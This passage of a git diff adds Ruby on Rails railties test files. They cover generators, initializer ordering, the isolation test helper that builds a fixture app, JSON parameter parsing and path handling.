+    assert_no_file("app/models/concerns/.keep")
+  end
+end
diff --git a/railties/test/generators/system_test_generator_test.rb b/railties/test/generators/system_test_generator_test.rb
new file mode 100644
index 0000000000..4622360244
--- /dev/null
+++ b/railties/test/generators/system_test_generator_test.rb
@@ -0,0 +1,17 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/system_test/system_test_generator"
+
+class SystemTestGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  arguments %w(user)
+
+  def test_system_test_skeleton_is_created
+    run_generator
+    assert_file "test/system/users_test.rb", /class UsersTest < ApplicationSystemTestCase/
+  end
+
+  def test_namespaced_system_test_skeleton_is_created
+    run_generator %w(admin/user)
+    assert_file "test/system/admin/users_test.rb", /class Admin::UsersTest < ApplicationSystemTestCase/
+  end
+end
diff --git a/railties/test/generators/task_generator_test.rb b/railties/test/generators/task_generator_test.rb
new file mode 100644
index 0000000000..2285534bb9
--- /dev/null
+++ b/railties/test/generators/task_generator_test.rb
@@ -0,0 +1,24 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/task/task_generator"
+
+class TaskGeneratorTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+  arguments %w(feeds foo bar)
+
+  def test_task_is_created
+    run_generator
+    assert_file "lib/tasks/feeds.rake" do |content|
+      assert_match(/namespace :feeds/, content)
+      assert_match(/task foo:/, content)
+      assert_match(/task bar:/, content)
+    end
+  end
+
+  def test_task_on_revoke
+    task_path = "lib/tasks/feeds.rake"
+    run_generator
+    assert_file task_path
+    run_generator ["feeds"], behavior: :revoke
+    assert_no_file task_path
+  end
+end
diff --git a/railties/test/generators/test_runner_in_engine_test.rb b/railties/test/generators/test_runner_in_engine_test.rb
new file mode 100644
index 0000000000..680dc2608e
--- /dev/null
+++ b/railties/test/generators/test_runner_in_engine_test.rb
@@ -0,0 +1,32 @@
+require "generators/plugin_test_helper"
+
+class TestRunnerInEngineTest < ActiveSupport::TestCase
+  include PluginTestHelper
+
+  def setup
+    @destination_root = Dir.mktmpdir("bukkits")
+    Dir.chdir(@destination_root) { `bundle exec rails plugin new bukkits --full --skip-bundle` }
+    plugin_file "test/dummy/db/schema.rb", ""
+  end
+
+  def teardown
+    FileUtils.rm_rf(@destination_root)
+  end
+
+  def test_rerun_snippet_is_relative_path
+    create_test_file "post", pass: false
+
+    output = run_test_command("test/post_test.rb")
+    expect = %r{Running:\n\nPostTest\nF\n\nFailure:\nPostTest#test_truth \[[^\]]+test/post_test\.rb:6\]:\nwups!\n\nbin/rails test test/post_test\.rb:4}
+    assert_match expect, output
+  end
+
+  private
+    def plugin_path
+      "#{@destination_root}/bukkits"
+    end
+
+    def run_test_command(arguments)
+      Dir.chdir(plugin_path) { `bin/rails test #{arguments}` }
+    end
+end
diff --git a/railties/test/generators_test.rb b/railties/test/generators_test.rb
new file mode 100644
index 0000000000..5063e864ca
--- /dev/null
+++ b/railties/test/generators_test.rb
@@ -0,0 +1,246 @@
+require "generators/generators_test_helper"
+require "rails/generators/rails/model/model_generator"
+require "rails/generators/test_unit/model/model_generator"
+
+class GeneratorsTest < Rails::Generators::TestCase
+  include GeneratorsTestHelper
+
+  def setup
+    @path = File.expand_path("lib", Rails.root)
+    $LOAD_PATH.unshift(@path)
+  end
+
+  def teardown
+    $LOAD_PATH.delete(@path)
+  end
+
+  def test_simple_invoke
+    assert File.exist?(File.join(@path, "generators", "model_generator.rb"))
+    assert_called_with(TestUnit::Generators::ModelGenerator, :start, [["Account"], {}]) do
+      Rails::Generators.invoke("test_unit:model", ["Account"])
+    end
+  end
+
+  def test_invoke_when_generator_is_not_found
+    name = :unknown
+    output = capture(:stdout) { Rails::Generators.invoke name }
+    assert_match "Could not find generator '#{name}'", output
+    assert_match "`rails generate --help`", output
+  end
+
+  def test_generator_suggestions
+    name = :migrationz
+    output = capture(:stdout) { Rails::Generators.invoke name }
+    assert_match "Maybe you meant 'migration'", output
+  end
+
+  def test_generator_multiple_suggestions
+    name = :tas
+    output = capture(:stdout) { Rails::Generators.invoke name }
+    assert_match "Maybe you meant 'task', 'job' or", output
+  end
+
+  def test_help_when_a_generator_with_required_arguments_is_invoked_without_arguments
+    output = capture(:stdout) { Rails::Generators.invoke :model, [] }
+    assert_match(/Description:/, output)
+  end
+
+  def test_should_give_higher_preference_to_rails_generators
+    assert File.exist?(File.join(@path, "generators", "model_generator.rb"))
+    assert_called_with(Rails::Generators::ModelGenerator, :start, [["Account"], {}]) do
+      warnings = capture(:stderr) { Rails::Generators.invoke :model, ["Account"] }
+      assert warnings.empty?
+    end
+  end
+
+  def test_invoke_with_default_values
+    assert_called_with(Rails::Generators::ModelGenerator, :start, [["Account"], {}]) do
+      Rails::Generators.invoke :model, ["Account"]
+    end
+  end
+
+  def test_invoke_with_config_values
+    assert_called_with(Rails::Generators::ModelGenerator, :start, [["Account"], behavior: :skip]) do
+      Rails::Generators.invoke :model, ["Account"], behavior: :skip
+    end
+  end
+
+  def test_find_by_namespace
+    klass = Rails::Generators.find_by_namespace("rails:model")
+    assert klass
+    assert_equal "rails:model", klass.namespace
+  end
+
+  def test_find_by_namespace_with_base
+    klass = Rails::Generators.find_by_namespace(:model, :rails)
+    assert klass
+    assert_equal "rails:model", klass.namespace
+  end
+
+  def test_find_by_namespace_with_context
+    klass = Rails::Generators.find_by_namespace(:test_unit, nil, :model)
+    assert klass
+    assert_equal "test_unit:model", klass.namespace
+  end
+
+  def test_find_by_namespace_with_generator_on_root
+    klass = Rails::Generators.find_by_namespace(:fixjour)
+    assert klass
+    assert_equal "fixjour", klass.namespace
+  end
+
+  def test_find_by_namespace_in_subfolder
+    klass = Rails::Generators.find_by_namespace(:fixjour, :active_record)
+    assert klass
+    assert_equal "active_record:fixjour", klass.namespace
+  end
+
+  def test_find_by_namespace_with_duplicated_name
+    klass = Rails::Generators.find_by_namespace(:foobar)
+    assert klass
+    assert_equal "foobar:foobar", klass.namespace
+  end
+
+  def test_find_by_namespace_without_base_or_context_looks_into_rails_namespace
+    assert Rails::Generators.find_by_namespace(:model)
+  end
+
+  def test_invoke_with_nested_namespaces
+    model_generator = Minitest::Mock.new
+    model_generator.expect(:start, nil, [["Account"], {}])
+    assert_called_with(Rails::Generators, :find_by_namespace, ["namespace", "my:awesome"], returns: model_generator) do
+      Rails::Generators.invoke "my:awesome:namespace", ["Account"]
+    end
+    model_generator.verify
+  end
+
+  def test_rails_generators_help_with_builtin_information
+    output = capture(:stdout) { Rails::Generators.help }
+    assert_match(/Rails:/, output)
+    assert_match(/^  model$/, output)
+    assert_match(/^  scaffold_controller$/, output)
+    assert_no_match(/^  app$/, output)
+  end
+
+  def test_rails_generators_help_does_not_include_app_nor_plugin_new
+    output = capture(:stdout) { Rails::Generators.help }
+    assert_no_match(/app\W/, output)
+    assert_no_match(/[^:]plugin/, output)
+  end
+
+  def test_rails_generators_with_others_information
+    output = capture(:stdout) { Rails::Generators.help }
+    assert_match(/Fixjour:/, output)
+    assert_match(/^  fixjour$/, output)
+  end
+
+  def test_rails_generators_does_not_show_active_record_hooks
+    output = capture(:stdout) { Rails::Generators.help }
+    assert_match(/ActiveRecord:/, output)
+    assert_match(/^  active_record:fixjour$/, output)
+  end
+
+  def test_default_banner_should_show_generator_namespace
+    klass = Rails::Generators.find_by_namespace(:foobar)
+    assert_match(/^rails generate foobar:foobar/, klass.banner)
+  end
+
+  def test_default_banner_should_not_show_rails_generator_namespace
+    klass = Rails::Generators.find_by_namespace(:model)
+    assert_match(/^rails generate model/, klass.banner)
+  end
+
+  def test_no_color_sets_proper_shell
+    Rails::Generators.no_color!
+    assert_equal Thor::Shell::Basic, Thor::Base.shell
+  ensure
+    Thor::Base.shell = Thor::Shell::Color
+  end
+
+  def test_fallbacks_for_generators_on_find_by_namespace
+    Rails::Generators.fallbacks[:remarkable] = :test_unit
+    klass = Rails::Generators.find_by_namespace(:plugin, :remarkable)
+    assert klass
+    assert_equal "test_unit:plugin", klass.namespace
+  ensure
+    Rails::Generators.fallbacks.delete(:remarkable)
+  end
+
+  def test_fallbacks_for_generators_on_find_by_namespace_with_context
+    Rails::Generators.fallbacks[:remarkable] = :test_unit
+    klass = Rails::Generators.find_by_namespace(:remarkable, :rails, :plugin)
+    assert klass
+    assert_equal "test_unit:plugin", klass.namespace
+  ensure
+    Rails::Generators.fallbacks.delete(:remarkable)
+  end
+
+  def test_fallbacks_for_generators_on_invoke
+    Rails::Generators.fallbacks[:shoulda] = :test_unit
+    assert_called_with(TestUnit::Generators::ModelGenerator, :start, [["Account"], {}]) do
+      Rails::Generators.invoke "shoulda:model", ["Account"]
+    end
+  ensure
+    Rails::Generators.fallbacks.delete(:shoulda)
+  end
+
+  def test_nested_fallbacks_for_generators
+    Rails::Generators.fallbacks[:shoulda] = :test_unit
+    Rails::Generators.fallbacks[:super_shoulda] = :shoulda
+    assert_called_with(TestUnit::Generators::ModelGenerator, :start, [["Account"], {}]) do
+      Rails::Generators.invoke "super_shoulda:model", ["Account"]
+    end
+  ensure
+    Rails::Generators.fallbacks.delete(:shoulda)
+    Rails::Generators.fallbacks.delete(:super_shoulda)
+  end
+
+  def test_developer_options_are_overwritten_by_user_options
+    Rails::Generators.options[:with_options] = { generate: false }
+
+    self.class.class_eval(<<-end_eval, __FILE__, __LINE__ + 1)
+      class WithOptionsGenerator < Rails::Generators::Base
+        class_option :generate, default: true, type: :boolean
+      end
+    end_eval
+
+    assert_equal false, WithOptionsGenerator.class_options[:generate].default
+  ensure
+    Rails::Generators.subclasses.delete(WithOptionsGenerator)
+  end
+
+  def test_rails_root_templates
+    template = File.join(Rails.root, "lib", "templates", "active_record", "model", "model.rb")
+
+    # Create template
+    mkdir_p(File.dirname(template))
+    File.open(template, "w") { |f| f.write "empty" }
+
+    capture(:stdout) do
+      Rails::Generators.invoke :model, ["user"], destination_root: destination_root
+    end
+
+    assert_file "app/models/user.rb" do |content|
+      assert_equal "empty", content
+    end
+  ensure
+    rm_rf File.dirname(template)
+  end
+
+  def test_source_paths_for_not_namespaced_generators
+    mspec = Rails::Generators.find_by_namespace :fixjour
+    assert_includes mspec.source_paths, File.join(Rails.root, "lib", "templates", "fixjour")
+  end
+
+  def test_usage_with_embedded_ruby
+    require_relative "fixtures/lib/generators/usage_template/usage_template_generator"
+    output = capture(:stdout) { Rails::Generators.invoke :usage_template, ["--help"] }
+    assert_match(/:: 2 ::/, output)
+  end
+
+  def test_hide_namespace
+    assert_not_includes Rails::Generators.hidden_namespaces, "special:namespace"
+    Rails::Generators.hide_namespace("special:namespace")
+    assert_includes Rails::Generators.hidden_namespaces, "special:namespace"
+  end
+end
diff --git a/railties/test/initializable_test.rb b/railties/test/initializable_test.rb
new file mode 100644
index 0000000000..4b67c91cc5
--- /dev/null
+++ b/railties/test/initializable_test.rb
@@ -0,0 +1,234 @@
+require "abstract_unit"
+require "rails/initializable"
+
+module InitializableTests
+  class Foo
+    include Rails::Initializable
+    attr_accessor :foo, :bar
+
+    initializer :start do
+      @foo ||= 0
+      @foo += 1
+    end
+  end
+
+  class Bar < Foo
+    initializer :bar do
+      @bar ||= 0
+      @bar += 1
+    end
+  end
+
+  class Parent
+    include Rails::Initializable
+
+    initializer :one do
+      $arr << 1
+    end
+
+    initializer :two do
+      $arr << 2
+    end
+  end
+
+  class Child < Parent
+    include Rails::Initializable
+
+    initializer :three, before: :one do
+      $arr << 3
+    end
+
+    initializer :four, after: :one, before: :two do
+      $arr << 4
+    end
+  end
+
+  class Parent
+    initializer :five, before: :one do
+      $arr << 5
+    end
+  end
+
+  class Instance
+    include Rails::Initializable
+
+    initializer :one, group: :assets do
+      $arr << 1
+    end
+
+    initializer :two do
+      $arr << 2
+    end
+
+    initializer :three, group: :all do
+      $arr << 3
+    end
+
+    initializer :four do
+      $arr << 4
+    end
+  end
+
+  class WithArgs
+    include Rails::Initializable
+
+    initializer :foo do |arg|
+      $with_arg = arg
+    end
+  end
+
+  class OverriddenInitializer
+    class MoreInitializers
+      include Rails::Initializable
+
+      initializer :startup, before: :last do
+        $arr << 3
+      end
+
+      initializer :terminate, after: :first, before: :startup do
+        $arr << two
+      end
+
+      def two
+        2
+      end
+    end
+
+    include Rails::Initializable
+
+    initializer :first do
+      $arr << 1
+    end
+
+    initializer :last do
+      $arr << 4
+    end
+
+    def self.initializers
+      super + MoreInitializers.new.initializers
+    end
+  end
+
+  module Interdependent
+    class PluginA
+      include Rails::Initializable
+
+      initializer "plugin_a.startup" do
+        $arr << 1
+      end
+
+      initializer "plugin_a.terminate" do
+        $arr << 4
+      end
+    end
+
+    class PluginB
+      include Rails::Initializable
+
+      initializer "plugin_b.startup", after: "plugin_a.startup" do
+        $arr << 2
+      end
+
+      initializer "plugin_b.terminate", before: "plugin_a.terminate" do
+        $arr << 3
+      end
+    end
+
+    class Application
+      include Rails::Initializable
+      def self.initializers
+        PluginB.initializers + PluginA.initializers
+      end
+    end
+  end
+
+  class Basic < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    test "initializers run" do
+      foo = Foo.new
+      foo.run_initializers
+      assert_equal 1, foo.foo
+    end
+
+    test "initializers are inherited" do
+      bar = Bar.new
+      bar.run_initializers
+      assert_equal [1, 1], [bar.foo, bar.bar]
+    end
+
+    test "initializers only get run once" do
+      foo = Foo.new
+      foo.run_initializers
+      foo.run_initializers
+      assert_equal 1, foo.foo
+    end
+
+    test "creating initializer without a block raises an error" do
+      assert_raise(ArgumentError) do
+        Class.new do
+          include Rails::Initializable
+
+          initializer :foo
+        end
+      end
+    end
+
+    test "Initializer provides context's class name" do
+      foo = Foo.new
+      assert_equal foo.class, foo.initializers.first.context_class
+    end
+  end
+
+  class BeforeAfter < ActiveSupport::TestCase
+    test "running on parent" do
+      $arr = []
+      Parent.new.run_initializers
+      assert_equal [5, 1, 2], $arr
+    end
+
+    test "running on child" do
+      $arr = []
+      Child.new.run_initializers
+      assert_equal [5, 3, 1, 4, 2], $arr
+    end
+
+    test "handles dependencies introduced before all initializers are loaded" do
+      $arr = []
+      Interdependent::Application.new.run_initializers
+      assert_equal [1, 2, 3, 4], $arr
+    end
+  end
+
+  class InstanceTest < ActiveSupport::TestCase
+    test "running locals" do
+      $arr = []
+      instance = Instance.new
+      instance.run_initializers
+      assert_equal [2, 3, 4], $arr
+    end
+
+    test "running locals with groups" do
+      $arr = []
+      instance = Instance.new
+      instance.run_initializers(:assets)
+      assert_equal [1, 3], $arr
+    end
+  end
+
+  class WithArgsTest < ActiveSupport::TestCase
+    test "running initializers with args" do
+      $with_arg = nil
+      WithArgs.new.run_initializers(:default, "foo")
+      assert_equal "foo", $with_arg
+    end
+  end
+
+  class OverriddenInitializerTest < ActiveSupport::TestCase
+    test "merges in the initializers from the parent in the right order" do
+      $arr = []
+      OverriddenInitializer.new.run_initializers
+      assert_equal [1, 2, 3, 4], $arr
+    end
+  end
+end
diff --git a/railties/test/isolation/abstract_unit.rb b/railties/test/isolation/abstract_unit.rb
new file mode 100644
index 0000000000..7496b5f84a
--- /dev/null
+++ b/railties/test/isolation/abstract_unit.rb
@@ -0,0 +1,332 @@
+# Note:
+# It is important to keep this file as light as possible
+# the goal for tests that require this is to test booting up
+# Rails from an empty state, so anything added here could
+# hide potential failures
+#
+# It is also good to know what is the bare minimum to get
+# Rails booted up.
+require "fileutils"
+
+require "bundler/setup" unless defined?(Bundler)
+require "active_support"
+require "active_support/testing/autorun"
+require "active_support/testing/stream"
+require "active_support/test_case"
+
+RAILS_FRAMEWORK_ROOT = File.expand_path("../../..", __dir__)
+
+# These files do not require any others and are needed
+# to run the tests
+require "active_support/core_ext/object/blank"
+require "active_support/testing/isolation"
+require "active_support/core_ext/kernel/reporting"
+require "tmpdir"
+require "rails/secrets"
+
+module TestHelpers
+  module Paths
+    def app_template_path
+      File.join Dir.tmpdir, "app_template"
+    end
+
+    def tmp_path(*args)
+      @tmp_path ||= File.realpath(Dir.mktmpdir)
+      File.join(@tmp_path, *args)
+    end
+
+    def app_path(*args)
+      tmp_path(*%w[app] + args)
+    end
+
+    def framework_path
+      RAILS_FRAMEWORK_ROOT
+    end
+
+    def rails_root
+      app_path
+    end
+  end
+
+  module Rack
+    def app(env = "production")
+      old_env = ENV["RAILS_ENV"]
+      @app ||= begin
+        ENV["RAILS_ENV"] = env
+
+        # FIXME: shush Sass warning spam, not relevant to testing Railties
+        Kernel.silence_warnings do
+          require "#{app_path}/config/environment"
+        end
+
+        Rails.application
+      end
+    ensure
+      ENV["RAILS_ENV"] = old_env
+    end
+
+    def extract_body(response)
+      "".tap do |body|
+        response[2].each { |chunk| body << chunk }
+      end
+    end
+
+    def get(path)
+      @app.call(::Rack::MockRequest.env_for(path))
+    end
+
+    def assert_welcome(resp)
+      resp = Array(resp)
+
+      assert_equal 200, resp[0]
+      assert_match "text/html", resp[1]["Content-Type"]
+      assert_match "charset=utf-8", resp[1]["Content-Type"]
+      assert extract_body(resp).match(/Yay! You.*re on Rails!/)
+    end
+
+    def assert_success(resp)
+      assert_equal 202, resp[0]
+    end
+
+    def assert_missing(resp)
+      assert_equal 404, resp[0]
+    end
+
+    def assert_header(key, value, resp)
+      assert_equal value, resp[1][key.to_s]
+    end
+
+    def assert_body(expected, resp)
+      assert_equal expected, extract_body(resp)
+    end
+  end
+
+  module Generation
+    # Build an application by invoking the generator and going through the whole stack.
+    def build_app(options = {})
+      @prev_rails_env = ENV["RAILS_ENV"]
+      ENV["RAILS_ENV"] = "development"
+      ENV["SECRET_KEY_BASE"] ||= SecureRandom.hex(16)
+
+      FileUtils.rm_rf(app_path)
+      FileUtils.cp_r(app_template_path, app_path)
+
+      # Delete the initializers unless requested
+      unless options[:initializers]
+        Dir["#{app_path}/config/initializers/**/*.rb"].each do |initializer|
+          File.delete(initializer)
+        end
+      end
+
+      routes = File.read("#{app_path}/config/routes.rb")
+      if routes =~ /(\n\s*end\s*)\z/
+        File.open("#{app_path}/config/routes.rb", "w") do |f|
+          f.puts $` + "\nActiveSupport::Deprecation.silence { match ':controller(/:action(/:id))(.:format)', via: :all }\n" + $1
+        end
+      end
+
+      File.open("#{app_path}/config/database.yml", "w") do |f|
+        f.puts <<-YAML
+        default: &default
+          adapter: sqlite3
+          pool: 5
+          timeout: 5000
+        development:
+          <<: *default
+          database: db/development.sqlite3
+        test:
+          <<: *default
+          database: db/test.sqlite3
+        production:
+          <<: *default
+          database: db/production.sqlite3
+        YAML
+      end
+
+      add_to_config <<-RUBY
+        config.eager_load = false
+        config.session_store :cookie_store, key: "_myapp_session"
+        config.active_support.deprecation = :log
+        config.active_support.test_order = :random
+        config.action_controller.allow_forgery_protection = false
+        config.log_level = :info
+      RUBY
+    end
+
+    def teardown_app
+      ENV["RAILS_ENV"] = @prev_rails_env if @prev_rails_env
+    end
+
+    # Make a very basic app, without creating the whole directory structure.
+    # This is faster and simpler than the method above.
+    def make_basic_app
+      require "rails"
+      require "action_controller/railtie"
+      require "action_view/railtie"
+
+      @app = Class.new(Rails::Application)
+      @app.config.eager_load = false
+      @app.secrets.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
+      @app.config.session_store :cookie_store, key: "_myapp_session"
+      @app.config.active_support.deprecation = :log
+      @app.config.active_support.test_order = :random
+      @app.config.log_level = :info
+
+      yield @app if block_given?
+      @app.initialize!
+
+      @app.routes.draw do
+        get "/" => "omg#index"
+      end
+
+      require "rack/test"
+      extend ::Rack::Test::Methods
+    end
+
+    def simple_controller
+      controller :foo, <<-RUBY
+        class FooController < ApplicationController
+          def index
+            render plain: "foo"
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get ':controller(/:action)'
+        end
+      RUBY
+    end
+
+    class Bukkit
+      attr_reader :path
+
+      def initialize(path)
+        @path = path
+      end
+
+      def write(file, string)
+        path = "#{@path}/#{file}"
+        FileUtils.mkdir_p(File.dirname(path))
+        File.open(path, "w") { |f| f.puts string }
+      end
+
+      def delete(file)
+        File.delete("#{@path}/#{file}")
+      end
+    end
+
+    def engine(name)
+      dir = "#{app_path}/random/#{name}"
+      FileUtils.mkdir_p(dir)
+
+      app = File.readlines("#{app_path}/config/application.rb")
+      app.insert(2, "$:.unshift(\"#{dir}/lib\")")
+      app.insert(3, "require #{name.inspect}")
+
+      File.open("#{app_path}/config/application.rb", "r+") do |f|
+        f.puts app
+      end
+
+      Bukkit.new(dir).tap do |bukkit|
+        yield bukkit if block_given?
+      end
+    end
+
+    def script(script)
+      Dir.chdir(app_path) do
+        `#{Gem.ruby} #{app_path}/bin/rails #{script}`
+      end
+    end
+
+    def add_to_top_of_config(str)
+      environment = File.read("#{app_path}/config/application.rb")
+      if environment =~ /(Rails::Application\s*)/
+        File.open("#{app_path}/config/application.rb", "w") do |f|
+          f.puts $` + $1 + "\n#{str}\n" + $'
+        end
+      end
+    end
+
+    def add_to_config(str)
+      environment = File.read("#{app_path}/config/application.rb")
+      if environment =~ /(\n\s*end\s*end\s*)\z/
+        File.open("#{app_path}/config/application.rb", "w") do |f|
+          f.puts $` + "\n#{str}\n" + $1
+        end
+      end
+    end
+
+    def add_to_env_config(env, str)
+      environment = File.read("#{app_path}/config/environments/#{env}.rb")
+      if environment =~ /(\n\s*end\s*)\z/
+        File.open("#{app_path}/config/environments/#{env}.rb", "w") do |f|
+          f.puts $` + "\n#{str}\n" + $1
+        end
+      end
+    end
+
+    def remove_from_config(str)
+      remove_from_file("#{app_path}/config/application.rb", str)
+    end
+
+    def remove_from_env_config(env, str)
+      remove_from_file("#{app_path}/config/environments/#{env}.rb", str)
+    end
+
+    def remove_from_file(file, str)
+      contents = File.read(file)
+      contents.sub!(/#{str}/, "")
+      File.write(file, contents)
+    end
+
+    def app_file(path, contents, mode = "w")
+      FileUtils.mkdir_p File.dirname("#{app_path}/#{path}")
+      File.open("#{app_path}/#{path}", mode) do |f|
+        f.puts contents
+      end
+    end
+
+    def remove_file(path)
+      FileUtils.rm_rf "#{app_path}/#{path}"
+    end
+
+    def controller(name, contents)
+      app_file("app/controllers/#{name}_controller.rb", contents)
+    end
+
+    def use_frameworks(arr)
+      to_remove = [:actionmailer, :activerecord] - arr
+
+      if to_remove.include?(:activerecord)
+        remove_from_config "config.active_record.*"
+      end
+
+      $:.reject! { |path| path =~ %r'/(#{to_remove.join('|')})/' }
+    end
+  end
+end
+
+class ActiveSupport::TestCase
+  include TestHelpers::Paths
+  include TestHelpers::Rack
+  include TestHelpers::Generation
+  include ActiveSupport::Testing::Stream
+
+  self.test_order = :sorted
+end
+
+# Create a scope and build a fixture rails app
+Module.new do
+  extend TestHelpers::Paths
+
+  # Build a rails app
+  FileUtils.rm_rf(app_template_path)
+  FileUtils.mkdir(app_template_path)
+
+  `#{Gem.ruby} #{RAILS_FRAMEWORK_ROOT}/railties/exe/rails new #{app_template_path} --skip-gemfile --skip-listen --no-rc`
+  File.open("#{app_template_path}/config/boot.rb", "w") do |f|
+    f.puts "require 'rails/all'"
+  end
+end unless defined?(RAILS_ISOLATED_ENGINE)
diff --git a/railties/test/json_params_parsing_test.rb b/railties/test/json_params_parsing_test.rb
new file mode 100644
index 0000000000..7fff3bb465
--- /dev/null
+++ b/railties/test/json_params_parsing_test.rb
@@ -0,0 +1,49 @@
+require "abstract_unit"
+require "action_dispatch"
+require "active_record"
+
+class JsonParamsParsingTest < ActionDispatch::IntegrationTest
+  def test_prevent_null_query
+    # Make sure we have data to find
+    klass = Class.new(ActiveRecord::Base) do
+      def self.name; "Foo"; end
+      establish_connection adapter: "sqlite3", database: ":memory:"
+      connection.create_table "foos" do |t|
+        t.string :title
+        t.timestamps null: false
+      end
+    end
+    klass.create
+    assert klass.first
+
+    app = ->(env) {
+      request = ActionDispatch::Request.new env
+      params = ActionController::Parameters.new request.parameters
+      if params[:t]
+        klass.find_by_title(params[:t])
+      else
+        nil
+      end
+    }
+
+    assert_nil app.call(make_env("t" => nil))
+    assert_nil app.call(make_env("t" => [nil]))
+
+    [[[nil]], [[[nil]]]].each do |data|
+      assert_nil app.call(make_env("t" => data))
+    end
+  ensure
+    klass.connection.drop_table("foos")
+  end
+
+  private
+    def make_env(json)
+      data = JSON.dump json
+      content_length = data.length
+      {
+        "CONTENT_LENGTH" => content_length,
+        "CONTENT_TYPE"   => "application/json",
+        "rack.input"     => StringIO.new(data)
+      }
+    end
+end
diff --git a/railties/test/path_generation_test.rb b/railties/test/path_generation_test.rb
new file mode 100644
index 0000000000..c0b03d0c15
--- /dev/null
+++ b/railties/test/path_generation_test.rb
@@ -0,0 +1,83 @@
+require "abstract_unit"
+require "active_support/core_ext/object/with_options"
+require "active_support/core_ext/object/json"
+
+class PathGenerationTest < ActiveSupport::TestCase
+  attr_reader :app
+
+  class TestSet < ActionDispatch::Routing::RouteSet
+    def initialize(block)
+      @block = block
+      super()
+    end
+
+    class Request < DelegateClass(ActionDispatch::Request)
+      def initialize(target, url_helpers, block)
+        super(target)
+        @url_helpers = url_helpers
+        @block = block
+      end
+
+      def controller_class
+        url_helpers = @url_helpers
+        block = @block
+        Class.new(ActionController::Base) {
+          include url_helpers
+          define_method(:process) { |name| block.call(self) }
+          def to_a; [200, {}, []]; end
+        }
+      end
+    end
+
+    def make_request(env)
+      Request.new(super, url_helpers, @block)
+    end
+  end
+
+  def send_request(uri_or_host, method, path, script_name = nil)
+    host = uri_or_host.host unless path
+    path ||= uri_or_host.path
+
+    params = { "PATH_INFO" => path,
+              "REQUEST_METHOD" => method,
+              "HTTP_HOST"      => host }
+
+    params["SCRIPT_NAME"] = script_name if script_name
+
+    status, headers, body = app.call(params)
+    new_body = []
+    body.each { |part| new_body << part }
+    body.close if body.respond_to? :close
+    [status, headers, new_body]
+  end
+
+  def test_original_script_name
+    original_logger = Rails.logger
+    Rails.logger    = Logger.new nil
+
+    app = Class.new(Rails::Application) {
+      attr_accessor :controller
+      def initialize
+        super
+        app = self
+        @routes = TestSet.new ->(c) { app.controller = c }
+        secrets.secret_key_base = "foo"
+        secrets.secret_token = "foo"
+      end
+      def app; routes; end
+    }
+
+    @app = app
+    app.routes.draw { resource :blogs }
+
+    url = URI("http://example.org/blogs")
+
+    send_request(url, "GET", nil, "/FOO")
+    assert_equal "/FOO/blogs", app.instance.controller.blogs_path
+
+    send_request(url, "GET", nil)
+    assert_equal "/blogs", app.instance.controller.blogs_path
+  ensure
+    Rails.logger = original_logger
+  end
+end
diff --git a/railties/test/paths_test.rb b/railties/test/paths_test.rb
new file mode 100644
index 0000000000..f3db0a51d2
--- /dev/null
+++ b/railties/test/paths_test.rb
@@ -0,0 +1,296 @@
+require "abstract_unit"
+require "rails/paths"
+require "minitest/mock"
+
+class PathsTest < ActiveSupport::TestCase
+  def setup
+    @root = Rails::Paths::Root.new("/foo/bar")
+  end
+
+  test "the paths object is initialized with the root path" do
+    root = Rails::Paths::Root.new("/fiz/baz")
+    assert_equal "/fiz/baz", root.path
+  end
+
+  test "the paths object can be initialized with nil" do
+    assert_nothing_raised do
+      Rails::Paths::Root.new(nil)
+    end
+  end
+
+  test "a paths object initialized with nil can be updated" do
+    root = Rails::Paths::Root.new(nil)
+    root.add "app"
+    root.path = "/root"
+    assert_equal ["app"], root["app"].to_ary
+    assert_equal ["/root/app"], root["app"].to_a
+  end
+
+  test "creating a root level path" do
+    @root.add "app"
+    assert_equal ["/foo/bar/app"], @root["app"].to_a
+  end
+
+  test "creating a root level path with options" do
+    @root.add "app", with: "/foo/bar"
+    assert_equal ["/foo/bar"], @root["app"].to_a
+  end
+
+  test "raises exception if root path never set" do
+    root = Rails::Paths::Root.new(nil)
+    root.add "app"
+    assert_raises RuntimeError do
+      root["app"].to_a
+    end
+  end
+
+  test "creating a child level path" do
+    @root.add "app"
+    @root.add "app/models"
+    assert_equal ["/foo/bar/app/models"], @root["app/models"].to_a
+  end
+
+  test "creating a child level path with option" do
+    @root.add "app"
+    @root.add "app/models", with: "/foo/bar/baz"
+    assert_equal ["/foo/bar/baz"], @root["app/models"].to_a
+  end
+
+  test "child level paths are relative from the root" do
+    @root.add "app"
+    @root.add "app/models", with: "baz"
+    assert_equal ["/foo/bar/baz"], @root["app/models"].to_a
+  end
+
+  test "absolute current path" do
+    @root.add "config"
+    @root.add "config/locales"
+
+    assert_equal "/foo/bar/config/locales", @root["config/locales"].absolute_current
+  end
+
+  test "adding multiple physical paths as an array" do
+    @root.add "app", with: ["/app", "/app2"]
+    assert_equal ["/app", "/app2"], @root["app"].to_a
+  end
+
+  test "adding multiple physical paths using #push" do
+    @root.add "app"
+    @root["app"].push "app2"
+    assert_equal ["/foo/bar/app", "/foo/bar/app2"], @root["app"].to_a
+  end
+
+  test "adding multiple physical paths using <<" do
+    @root.add "app"
+    @root["app"] << "app2"
+    assert_equal ["/foo/bar/app", "/foo/bar/app2"], @root["app"].to_a
+  end
+
+  test "adding multiple physical paths using concat" do
+    @root.add "app"
+    @root["app"].concat ["app2", "/app3"]
+    assert_equal ["/foo/bar/app", "/foo/bar/app2", "/app3"], @root["app"].to_a
+  end
+
+  test "adding multiple physical paths using #unshift" do
+    @root.add "app"
+    @root["app"].unshift "app2"
+    assert_equal ["/foo/bar/app2", "/foo/bar/app"], @root["app"].to_a
+  end
+
+  test "it is possible to add a path that should be autoloaded only once" do
+    File.stub(:exist?, true) do
+      @root.add "app", with: "/app"
+      @root["app"].autoload_once!
+      assert @root["app"].autoload_once?
+      assert_includes @root.autoload_once, @root["app"].expanded.first
+    end
+  end
+
+  test "it is possible to remove a path that should be autoloaded only once" do
+    @root["app"] = "/app"
+    @root["app"].autoload_once!
+    assert @root["app"].autoload_once?
+
+    @root["app"].skip_autoload_once!
+    assert !@root["app"].autoload_once?
+    assert_not_includes @root.autoload_once, @root["app"].expanded.first
+  end
+
